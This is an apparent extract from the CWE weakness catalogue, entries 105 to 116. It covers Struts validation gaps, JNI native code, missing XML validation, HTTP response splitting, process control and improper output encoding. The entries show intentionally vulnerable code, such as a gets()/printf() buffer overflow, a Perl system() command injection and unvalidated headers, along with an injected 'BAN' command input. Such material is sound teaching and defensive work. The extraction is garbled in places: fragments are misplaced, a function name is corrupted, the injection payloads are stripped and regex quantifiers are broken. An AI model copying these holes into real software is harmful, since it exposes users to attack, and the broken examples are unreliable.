```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
```
CWE Version 2.11
CWE-105: Struts: Form Field Without Validator

// getter and setter methods for private variables
...

Note that the ValidatorForm class itself extends the ActionForm class within the Struts framework API.

Potential Mitigations
Implementation
Ensure that all forms extend one of the Validation Classes.

Background Details
In order to use the Struts Validator, a form must extend one of the following: ValidatorForm, ValidatorActionForm, DynaValidatorActionForm, and DynaValidatorForm. You must extend one of these classes because the Struts Validator ties in to your application by implementing the validate() method in these classes. Forms derived from the ActionForm and DynaActionForm classes cannot use the Struts Validator.

CWE-105: Struts: Form Field Without Validator

Weakness ID: 105 (Weakness Variant)

Description

Summary
The application has a form field that is not validated by a corresponding validation form, which can introduce other weaknesses related to insufficient input validation.

Extended Description
Omitting validation for even a single input field may give attackers the leeway they need to compromise the application. Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

Time of Introduction
- Implementation

Applicable Platforms
Languages
- Java

Modes of Introduction
Some applications use the same ActionForm for more than one purpose. In situations like this, some fields may go unused under some action mappings.

Common Consequences
Integrity

Unexpected state

Integrity

Bypass protection mechanism

If unused fields are not validated, shared business logic in an action may allow attackers to bypass the validation checks that are performed for other uses of the form.

Demonstrative Examples

In the following example the Java class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data in the form fields using the private member variables. The RegistrationForm class uses the Struts validation capability by extending the ValidatorForm class and including the validation for the form fields within the validator XML file, validator.xml.

Good Code

```java
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String address;
    private String city;
    private String state;
    private String zipcode;
    private String phone;
    private String email;
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
    ...
}
```

The validator XML file, validator.xml, provides the validation for the form fields of the RegistrationForm.

XML Example:

```
<form-validation>
    <formset>
        <form name="RegistrationForm">
            <field property="name" depends="required">
                <arg position="0" key="prompt.name"/>
            </field>
            <field property="address" depends="required">
                <arg position="0" key="prompt.address"/>
            </field>
            <field property="city" depends="required">
                <arg position="0" key="prompt.city"/>
            </field>
            <field property="state" depends="required,mask">
                <arg position="0" key="prompt.state"/>
                <var>
                    <var-name>mask</var-name>
                    <var-value>[a-zA-Z][2]</var-value>
                </var>
            </field>
            <field property="zipcode" depends="required,mask">
                <arg position="0" key="prompt.zipcode"/>
                <var>
                    <var-name>mask</var-name>
                    <var-value>[0-9][5]</var-value>
                </var>
            </field>
        </form>
    </formset>
</form-validation>
```

Bad Code
However, in the previous example the validator XML file, validator.xml, does not provide validators for all of the form fields in the RegistrationForm. Validator forms are only provided for the first five of the seven form fields. The validator XML file should contain validator forms for all of the form fields for a Struts ActionForm bean. The following validator.xml file for the RegistrationForm class contains validator forms for all of the form fields.

**Potential Mitigations**

**Implementation**

Ensure that you validate all form fields. If a field is unused, it is still important to constrain it so that it is empty or undefined.

**Weakness Ordinalities**

**Primary** *(where the weakness exists independent of other weaknesses)*

**Relationships**

<table>
<thead>

</tbody>
</table>

**Causal Nature**

*Explicit* *(an explicit weakness resulting from behavior of the developer)*

**Taxonomy Mappings**
CWE-106: Struts: Plug-in Framework not in Use

Weakness ID: 106 (Weakness Variant) Status: Draft

Description

Summary
When an application does not use an input validation framework such as the Struts Validator, there is a greater risk of introducing weaknesses related to insufficient input validation.

Extended Description
Unchecked input is the leading cause of vulnerabilities in J2EE applications. Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others. Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• Java

Common Consequences
Integrity
Unexpected state

Demonstrative Examples
In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data.

Java Example:

```java
public class RegistrationForm extends org.apache.struts.action.ActionForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
    ...
}
```

However, the RegistrationForm class extends the Struts ActionForm class which does use the Struts validator plug-in to provide validator capabilities. In the following example, the RegistrationForm Java class extends the ValidatorForm and Struts configuration XML file, struts-config.xml, instructs the application to use the Struts validator plug-in.

Java Example:

```java
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
```
The plug-in tag of the Struts configuration XML file includes the name of the validator plug-in to be used and includes a set-property tag to instruct the application to use the file, validator-rules.xml, for default validation rules and the file, validation.xml, for custom validation.

XML Example:

```xml
<struts-config>
  <form-beans>
    <form-bean name="RegistrationForm" type="RegistrationForm"/>
  </form-beans>
...
<!-- ========================= Validator plugin ================================= -->
<plug-in className="org.apache.struts.validator.ValidatorPlugIn">
  <set-property property="pathnames" value="/WEB-INF/validator-rules.xml,/WEB-INF/validation.xml"/>
</plug-in>
</struts-config>
```

Potential Mitigations

Architecture and Design

Input Validation

Libraries or Frameworks

Use an input validation framework such as Struts.

Implementation

Input Validation

Libraries or Frameworks

Use the Struts Validator to validate all program input before it is processed by the application. Ensure that there are no holes in your configuration of the Struts Validator. Example uses of the validator include checking to ensure that:

- Phone number fields contain only valid characters in phone numbers
- Boolean values are only "T" or "F"
- Free-form strings are of a reasonable length and composition

CWE-107: Struts: Unused Validation Form

Weakness ID: 107 (Weakness Variant) Status: Draft

Description

Summary

An unused validation form indicates that validation logic is not up-to-date.

Extended Description
It is easy for developers to forget to update validation logic when they remove or rename action form mappings. One indication that validation logic is not being properly maintained is the presence of an unused validation form.

**Time of Introduction**
- Implementation
- Operation

**Applicable Platforms**

**Languages**
- Java

**Common Consequences**
- Other
  - Quality degradation

**Demonstrative Examples**

In the following example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data in the form fields using the private member variables. The RegistrationForm class uses the Struts validation capability by extending the ValidatorForm class and including the validation for the form fields within the validator XML file, validator.xml.

**Java Example:**

```java
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String address;
    private String city;
    private String state;
    private String zipcode;
    // no longer using the phone form field
    private String phone;
    private String email;
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
    ...
}
```

**XML Example:**

```xml
<form-validation>
    <formset>
        <form name="RegistrationForm">
            <field property="name" depends="required">
                <arg position="0" key="prompt.name"></arg>
            </field>
            <field property="address" depends="required">
                <arg position="0" key="prompt.address"></arg>
            </field>
            <field property="city" depends="required">
                <arg position="0" key="prompt.city"></arg>
            </field>
            <field property="state" depends="required,mask">
                <arg position="0" key="prompt.state"></arg>
                <var>
                    <var-name>mask</var-name>
                    <var-value>[a-zA-Z][2]</var-value>
                </var>
            </field>
            <field property="zipcode" depends="required,mask">
                <arg position="0" key="prompt.zipcode"></arg>
                <var>
                    <var-name>mask</var-name>
                    <var-value>\d{5}</var-value>
                </var>
            </field>
        </form>
    </formset>
</form-validation>
```
However, the validator XML file, validator.xml, for the RegistrationForm class includes the validation form for the user input form field "phone" that is no longer used by the input form and the RegistrationForm class. Any validation forms that are no longer required should be removed from the validator XML file, validator.xml.

The existence of unused forms may be an indication to attackers that this code is out of date or poorly maintained.

**Potential Mitigations**

**Implementation**

Remove the unused Validation Form from the validation.xml file.

**Weakness Ordinalities**

**Resultant** *(where the weakness is typically related to the presence of some other weaknesses)*

**CWE-108: Struts: Unvalidated Action Form**

**Weakness ID:** 108 *(Weakness Variant)*

**Status:** Incomplete

**Description**

**Summary**

Every Action Form must have a corresponding validation form.

**Extended Description**

If a Struts Action Form Mapping specifies a form, it must have a validation form defined under the Struts Validator.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- Java

**Common Consequences**
If an action form mapping does not have a validation form defined, it may be vulnerable to a number of attacks that rely on unchecked input. Unchecked input is the root cause of some of today's worst and most common software security problems. Cross-site scripting, SQL injection, and process control vulnerabilities all stem from incomplete or absent input validation.

Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

**Potential Mitigations**

**Implementation**

**Input Validation**

Map every Action Form to a corresponding validation form.

An action or a form may perform validation in other ways, but the Struts Validator provides an excellent way to verify that all input receives at least a basic level of validation. Without this approach, it is difficult, and often impossible, to establish with a high level of confidence that all input is validated.

<td>Tainted input to command</td>
</tr>
</tbody>
</table>

**CWE-109: Struts: Validator Turned Off**

**Weakness ID:** 109 *(Weakness Variant)*

**Description**

**Summary**

Automatic filtering via a Struts bean has been turned off, which disables the Struts Validator and custom validation logic. This exposes the application to other weaknesses related to insufficient input validation.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- Java

**Common Consequences**

- Access Control
- Bypass protection mechanism
Demonstrative Examples
This mapping defines an action for a download form:

**XML Example:**

```xml
<action path="/download"
  type="com.website.d2.action.DownloadAction"
  name="downloadForm"
  scope="request"
  input="*.download"
  validate="false">
</action>
```

This mapping has disabled validation. Disabling validation exposes this action to numerous types of attacks.

Potential Mitigations
**Implementation**
Ensure that an action form mapping enables validation. Set the validate field to true.

Other Notes
The Action Form mapping in the demonstrative example disables the form's validate() method. The Struts bean: write tag automatically encodes special HTML characters, replacing a < with "&lt;" and a > with "&gt;". This action can be disabled by specifying filter="false" as an attribute of the tag to disable specified JSP pages. However, being disabled makes these pages susceptible to cross-site scripting attacks. An attacker may be able to insert malicious scripts as user input to write to these JSP pages.

CWE-110: Struts: Validator Without Form Field

**Weakness ID:** 110  *(Weakness Variant)*  
**Status:** Draft

**Description**

**Summary**
Validation fields that do not appear in forms they are associated with indicate that the validation logic is out of date.

**Extended Description**
It is easy for developers to forget to update validation logic when they make changes to an ActionForm class. One indication that validation logic is not being properly maintained is inconsistencies between the action form and the validation form.

Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

**Time of Introduction**
• Implementation
• Operation

Applicable Platforms

Languages
• Java

Common Consequences

Other

Other

It is critically important that validation logic be maintained and kept in sync with the rest of the application. Unchecked input is the root cause of some of today's worst and most common software security problems. Cross-site scripting, SQL injection, and process control vulnerabilities all stem from incomplete or absent input validation.

Demonstrative Examples

Example 1:
An action form with two fields.

Java Example:

```java
public class DateRangeForm extends ValidatorForm {
    String startDate, endDate;
    public void setStartDate(String startDate) {
        this.startDate = startDate;
    }
    public void setEndDate(String endDate) {
        this.endDate = endDate;
    }
}
```

This example shows an action form that has two fields, startDate and endDate.

Example 2:
A validation form with a third field.

XML Example:

```xml
<form name="DateRangeForm">
    <field property="startDate" depends="date">
        <arg0 key="start.date"/>
    </field>
    <field property="endDate" depends="date">
        <arg0 key="end.date"/>
    </field>
    <field property="scale" depends="integer">
        <arg0 key="range.scale"/>
    </field>
</form>
```

This example lists a validation form for the action form. The validation form lists a third field: scale. The presence of the third field suggests that DateRangeForm was modified without taking validation into account.

Potential Mitigations

Build and Compilation
Testing
Input Validation
To find the issue in the implementation, manual checks or automated static analysis could be applied to the xml configuration files.

</table>
When a Java application uses the Java Native Interface (JNI) to call code written in another programming language, it can expose the application to weaknesses in that code, even if those weaknesses cannot occur in Java.

Many safety features that programmers may take for granted simply do not apply for native code, so you must carefully review all such code for potential problems. The languages used to implement native code may be more susceptible to buffer overflows and other attacks. Native code is unprotected by the security features enforced by the runtime environment, such as strong typing and array bounds checking.

The following code defines a class named Echo. The class declares one native method (defined below), which uses C to echo commands entered on the console back to the user. The following C code defines the native method implemented in the Echo class:

**Java Example:**
```java
class Echo {
    public native void runEcho();
    static {
        System.loadLibrary("echo");
    }
    public static void main(String[] args) {
        new Echo().runEcho();
    }
}
```

**C Example:**
```c
#include <jni.h>
#include "Echo.h" // the java class above compiled with javah
#include <stdio.h>
JNIEXPORT void JNIInvoke realization (JNIEnv *env, jobject obj)
{
    char buf[64];
    gets(buf);
    printf(buf);
}
```
Because the example is implemented in Java, it may appear that it is immune to memory issues like buffer overflow vulnerabilities. Although Java does a good job of making memory operations safe, this protection does not extend to vulnerabilities occurring in source code written in other languages that are accessed using the Java Native Interface. Despite the memory protections offered in Java, the C code in this example is vulnerable to a buffer overflow because it makes use of gets(), which does not check the length of its input.

The Sun Java(TM) Tutorial provides the following description of JNI [See Reference]: The JNI framework lets your native method utilize Java objects in the same way that Java code uses these objects. A native method can create Java objects, including arrays and strings, and then inspect and use these objects to perform its tasks. A native method can also inspect and use objects created by Java application code. A native method can even update Java objects that it created or that were passed to it, and these updated objects are available to the Java application. Thus, both the native language side and the Java side of an application can create, update, and access Java objects and then share these objects between them.

The vulnerability in the example above could easily be detected through a source code audit of the native method implementation. This may not be practical or possible depending on the availability of the C source code and the way the project is built, but in many cases it may suffice. However, the ability to share objects between Java and native methods expands the potential risk to much more insidious cases where improper data handling in Java may lead to unexpected vulnerabilities in native code or unsafe operations in native code corrupt data structures in Java. Vulnerabilities in native code accessed through a Java application are typically exploited in the same manner as they are in applications written in the native language. The only challenge to such an attack is for the attacker to identify that the Java application uses native code to perform certain operations. This can be accomplished in a variety of ways, including identifying specific behaviors that are often implemented with native code or by exploiting a system information exposure in the Java application that reveals its use of JNI [See Reference].

Potential Mitigations
Implementation
Implement error handling around the JNI call.

Architecture and Design
Implementation

Refactoring
Do not use JNI calls if you don’t trust the native library.

Architecture and Design
Implementation

Refactoring
Be reluctant to use JNI calls. A Java API equivalent may exist.

CWE-112: Missing XML Validation

Summary
The software accepts XML from an untrusted source but does not validate the XML against the proper schema.

Extended Description
Most successful attacks begin with a violation of the programmer's assumptions. By accepting an XML document without validating it against a DTD or XML schema, the programmer leaves a door open for attackers to provide unexpected, unreasonable, or malicious input.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• All

Common Consequences
Integrity
Unexpected state

Demonstrative Examples
Example 1:
The following code loads and parses an XML file.

Java Example:
```java
// Read DOM
try {
    ...
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setValidating( false );
    ...
    c_dom = factory.newDocumentBuilder().parse( xmlFile );
} catch(Exception ex) {
    ...
}
```

The XML file is loaded without validating it against a known XML Schema or DTD.

Example 2:
The following code creates a DocumentBuilder object to be used in building an XML document.

Java Example:
```java
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setNamespaceAware(true);
DocumentBuilder builder = builderFactory.newDocumentBuilder();
```

The DocumentBuilder object does not validate an XML document against a schema, making it possible to create an invalid XML document.

Potential Mitigations
Architecture and Design

Input Validation

Always validate XML input against a known XML Schema or DTD.

It is not possible for an XML parser to validate all aspects of a document's content because a parser cannot understand the complete semantics of the data. However, a parser can do a complete and thorough job of checking the document's structure and therefore guarantee to the code that processes the document that the content is well-formed.

CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')

Weakness ID: 113 (Weakness Base) Status: Incomplete

Description

Summary

The software receives data from an upstream component, but does not neutralize or incorrectly neutralizes CR and LF characters before the data is included in outgoing HTTP headers.

Extended Description

Including unvalidated data in an HTTP header allows an attacker to specify the entirety of the HTTP response rendered by the browser. When an HTTP request contains unexpected CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n) characters the server may respond with an output stream that is interpreted as two different HTTP responses (instead of one). An attacker can control the second response and mount attacks such as cross-site scripting and cache poisoning attacks.

HTTP response splitting weaknesses may be present when:

- Data enters a web application through an untrusted source, most frequently an HTTP request.
- The data is included in an HTTP response header sent to a web user without being validated for malicious characters.

Time of Introduction

• Implementation

Applicable Platforms

Languages

• All

Common Consequences
CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')

Integrity
Access Control
Modify application data
Gain privileges / assume identity

CR and LF characters in an HTTP header may give attackers control of the remaining headers and body of the response the application intends to send, as well as allowing them to create additional responses entirely under their control.

Demonstrative Examples

Example 1:
The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.

Java Example:

```java
String author = request.getParameter(AUTHOR_PARAM);
...
Cookie cookie = new Cookie("author", author);
cookie.setMaxAge(cookieExpiration);
response.addCookie(cookie);
```

Assuming a string consisting of standard alpha-numeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:

```
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
```

However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as

```
Wiley Hacker
```

then the HTTP response would be split into two responses of the following form:

```
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
```

Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including:

cross-user defacement
web and browser cache poisoning
cross-site scripting
page hijacking

Example 2:

An attacker can make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server.

In the best case, an attacker can leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application.
In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

**Example 3:**
The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although the user of the local browser instance will be affected.

**Example 4:**
Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser.

The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

**Example 5:**
In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker can cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker.

Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

### Potential Mitigations

**Implementation**

**Input Validation**

Construct HTTP headers very carefully, avoiding the use of non-validated input data.
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation
Output Encoding
Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

(CAPEC Version 2.10)
CWE-114: Process Control

Weakness ID: 114 (Weakness Base) Status: Incomplete

Description

Summary
Executing commands or loading libraries from an untrusted source or in an untrusted environment can cause an application to execute malicious commands (and payloads) on behalf of an attacker.

Extended Description
Process control vulnerabilities take two forms: 1. An attacker can change the command that the program executes: the attacker explicitly controls what the command is. 2. An attacker can change the environment in which the command executes: the attacker implicitly controls what the command means. Process control vulnerabilities of the first type occur when either data enters the application from an untrusted source and the data is used as part of a string representing a command that is executed by the application. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.

Time of Introduction
• Implementation

Applicable Platforms

Languages
• All

Common Consequences

Confidentiality
Integrity
Availability
Execute unauthorized code or commands

Demonstrative Examples

Example 1:
The following code uses System.loadLibrary() to load code from a native library named library.dll, which is normally found in a standard system directory.

Java Example:

```java
... 
System.loadLibrary("library.dll");
... 
```

The problem here is that System.loadLibrary() accepts a library name, not a path, for the library to be loaded. From the Java 1.4.2 API documentation this function behaves as follows [1]: A file containing native code is loaded from the local file system from a place where library files are conventionally obtained. The details of this process are implementation-dependent. The mapping from a library name to a specific filename is done in a system-specific manner. If an attacker is able to place a malicious copy of library.dll higher in the search order than file the application intends to load, then the application will load the malicious copy instead of the intended file. Because of the nature of the application, it runs with elevated privileges, which means the contents of the attacker's library.dll will now be run with elevated privileges, possibly giving them complete control of the system.

Example 2:
The following code from a privileged application uses a registry entry to determine the directory in which it is installed and loads a library file based on a relative path from the specified directory.

C Example:

```c
... 
RegQueryValueEx(hkey, "APPHOME", 
0, 0, (BYTE*)home, &size);
char* lib=(char*)malloc(strlen(home)+strlen(INITLIB));
if (lib) {
  strcpy(lib,home);
  strcat(lib,INITCMD);
  LoadLibrary(lib);
}
...
```

The code in this example allows an attacker to load an arbitrary library, from which code will be executed with the elevated privilege of the application, by modifying a registry key to specify a different path containing a malicious version of INITLIB. Because the program does not validate the value read from the environment, if an attacker can control the value of APPHOME, they can fool the application into running malicious code.

Example 3:
The following code is from a web-based administration utility that allows users access to an interface through which they can update their profile on the system. The utility makes use of a library named liberty.dll, which is normally found in a standard system directory.

C Example:

```c
LoadLibrary("liberty.dll");
```

The problem is that the program does not specify an absolute path for liberty.dll. If an attacker is able to place a malicious library named liberty.dll higher in the search order than file the application intends to load, then the application will load the malicious copy instead of the intended file. Because of the nature of the application, it runs with elevated privileges, which means the contents of the attacker's liberty.dll will now be run with elevated privileges, possibly giving the attacker complete control of the system. The type of attack seen in this example is made possible because of the search order used by LoadLibrary() when an absolute path is not specified. If the current directory is searched before system directories, as was the case up until the most recent versions of Windows, then this type of attack becomes trivial if the attacker can execute the program locally. The search order is operating system version dependent, and is controlled on newer operating systems by the value of the registry key: HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

Potential Mitigations

Architectural and Design

Libraries or Frameworks

Libraries that are loaded should be well understood and come from a trusted source. The application can execute code contained in the native libraries, which often contain calls that are susceptible to other security problems such as buffer overflows or command injection. All native libraries should be validated to determine if the application requires the use of the library. It is very difficult to determine what these native libraries actually do, and the potential for malicious code is high. In addition, the potential for an inadvertent mistake in these native libraries is also high, as many are written in C or C++ and may be susceptible to buffer overflow or race condition problems. To help prevent buffer overflow attacks, validate all input to native calls for content and length. If the native library does not come from a trusted source, review the source code of the library. The library should be built from the reviewed source before using it.

**CWE-116: Improper Encoding or Escaping of Output**

**Summary**
The software prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.
Extended Description
Improper encoding or escaping can allow attackers to change the commands that are sent to another component, inserting malicious commands instead.

Most software follows a certain protocol that uses structured messages for communication between components, such as queries or commands. These structured messages can contain raw data interspersed with metadata or control information. For example, "GET /index.html HTTP/1.1" is a structured message containing a command ("GET") with a single argument ("/index.html") and metadata about which protocol version is being used ("HTTP/1.1").

If an application uses attacker-supplied inputs to construct a structured message without properly encoding or escaping, then the attacker could insert special characters that will cause the data to be interpreted as control information or metadata. Consequently, the component that receives the output will perform the wrong operations, or otherwise interpret the data incorrectly.

Alternate Terms
- Output Sanitization
- Output Validation
- Output Encoding

Terminology Notes
The usage of the "encoding" and "escaping" terms varies widely. For example, in some programming languages, the terms are used interchangeably, while other languages provide APIs that use both terms for different tasks. This overlapping usage extends to the Web, such as the "escape" JavaScript function whose purpose is stated to be encoding. Of course, the concepts of encoding and escaping predate the Web by decades. Given such a context, it is difficult for CWE to adopt a consistent vocabulary that will not be misinterpreted by some constituency.

Time of Introduction
- Architecture and Design
- Implementation
- Operation

Applicable Platforms
- Languages: All
- Technology Classes: Database-Server (Often), Web-Server (Often)

Common Consequences
- Integrity
- Confidentiality
- Availability
- Access Control
- Modify application data
- Execute unauthorized code or commands
- Bypass protection mechanism

The communications between components can be modified in unexpected ways. Unexpected commands can be executed, bypassing other security mechanisms. Incoming data can be misinterpreted.

Likelihood of Exploit
- Very High

Detection Methods
- Automated Static Analysis
  - Moderate
  - This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.
Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Demonstrative Examples

Example 1:

This code displays an email address that was submitted as part of a form.

JSP Example:  

```jsp
<% String email = request.getParameter("email"); %>
...
Email Address: <%= email %>
```

The value read from the form parameter is reflected back to the client browser without having been encoded prior to output, allowing various XSS attacks (CWE-79).

Example 2:

Consider a chat application in which a front-end web application communicates with a back-end server. The back-end is legacy code that does not perform authentication or authorization, so the front-end must implement it. The chat protocol supports two commands, SAY and BAN, although only administrators can use the BAN command. Each argument must be separated by a single space. The raw inputs are URL-encoded. The messaging protocol allows multiple commands to be specified on the same line if they are separated by a "|" character.

Perl Example:  

```perl
#!/usr/bin/perl

my $inputString = readLineFromFileHandle($serverFH);
# generate an array of strings separated by the "|" character.
@commands = split(/\|/, $inputString);
foreach $cmd (@commands) {
    # separate the operator from its arguments based on a single whitespace
    ($operator, $args) = split(/ /, $cmd, 2);
    $args = UrlDecode($args);
    if ($operator eq "BAN") {
        ExecuteBan($args);
    } elsif ($operator eq "SAY") {
        ExecuteSay($args);
    }
}
```

In this code, the web application receives a command, encodes it for sending to the server, performs the authorization check, and sends the command to the server.

Perl Example:  

```perl
#!/usr/bin/perl

my $inputString = GetUntrustedArgument("command");
($cmd, $argstr) = split(/\s+/, $inputString, 2);
# removes extra whitespace and also changes CRLF's to spaces
$argstr =~ s/\s+/ /gs;

$argstr = UrlEncode($argstr);
if (($cmd eq "BAN") && (! IsAdministrator($username))) {
    die "Error: you are not the admin.\n";
}
# communicate with file server using a file handle
$fh = GetServerFileHandle("myserver");
print $fh "$cmd $argstr\n";
```

It is clear that, while the protocol and back-end allow multiple commands to be sent in a single request, the front-end only intends to send a single command. However, the UrlEncode function could leave the "|" character intact. If an attacker provides:

```
SAY hello world|BAN user12
```
then the front end will see this is a "SAY" command, and the $argstr will look like "hello world | BAN user12". Since the command is "SAY", the check for the "BAN" command will fail, and the front end will send the URL-encoded command to the back end:

<table>
<thead>
<tr>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>SAY hello%20world</td>
</tr>
</tbody>
</table>

The back end, however, will treat these as two separate commands:

<table>
<thead>
<tr>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>SAY hello world</td>
</tr>
<tr>
<td>BAN user12</td>
</tr>
</tbody>
</table>

Notice, however, that if the front end properly encodes the "|" with "%7C", then the back end will only process a single command.

**Example 3:**
This example takes user input, passes it through an encoding scheme and then creates a directory specified by the user.

**Perl Example:**

```perl
sub GetUntrustedInput {
    return($ARGV[0]);
}

sub encode {
    my($str) = @_; 
    $str =~ s/\&/\&/gs;
    $str =~ s/"/\"/gs;
    $str =~ s/\'/\'/gs;
    $str =~ s/\</\&lt;/gs;
    $str =~ s/\>/\>/gs;
    return($str);
}

sub doit {
    my $uname = encode(GetUntrustedInput("username"));
    print "<b>Welcome, $uname!</b><p>
    system("cd /home/$uname; /bin/ls -l");
}
```

The programmer attempts to encode dangerous characters, however the blacklist for encoding is incomplete (CWE-184) and an attacker can still pass a semicolon, resulting in a chain with command injection (CWE-77).

Additionally, the encoding routine is used inappropriately with command execution. An attacker doesn't even need to insert their own semicolon. The attacker can instead leverage the encoding routine to provide the semicolon to separate the commands. If an attacker supplies a string of the form:

```
pwd
```

then the program will encode the apostrophe and insert the semicolon, which functions as a command separator when passed to the system function. This allows the attacker to complete the command injection.

**Observed Examples**

CWE-116: Improper Encoding or Escaping of Output

Reference | Description
---|---
CVE-2008-4636 | OS command injection in backup software using shell metacharacters in a filename; correct behavior would require that this filename could not be changed.
